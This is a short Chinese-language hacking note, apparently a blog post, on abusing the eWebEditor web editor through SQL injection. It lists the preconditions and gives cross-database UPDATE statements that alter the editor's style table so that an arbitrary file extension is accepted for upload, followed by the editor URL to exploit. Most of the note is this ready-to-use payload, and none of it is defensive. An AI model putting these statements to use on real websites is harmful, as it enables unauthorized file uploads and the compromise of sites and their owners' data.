SQL注入eWebEditor数据库

条件：

1、知道ewebeditor数据库的绝对地址

2、存在注入，或者后台可执行sql语句。

跨库注入：

update eWebEditor_Style in ‘E:\webhost\xxxxxxxx\www\admin\Editor\db\ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’ where s_id=40

或者

update eWebEditor_Style in ‘E:\webhost\xxxxxxxx\www\admin\Editor\db\ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’

利用：
/ewebeditor.asp?id=content1&style=standard

标签分类：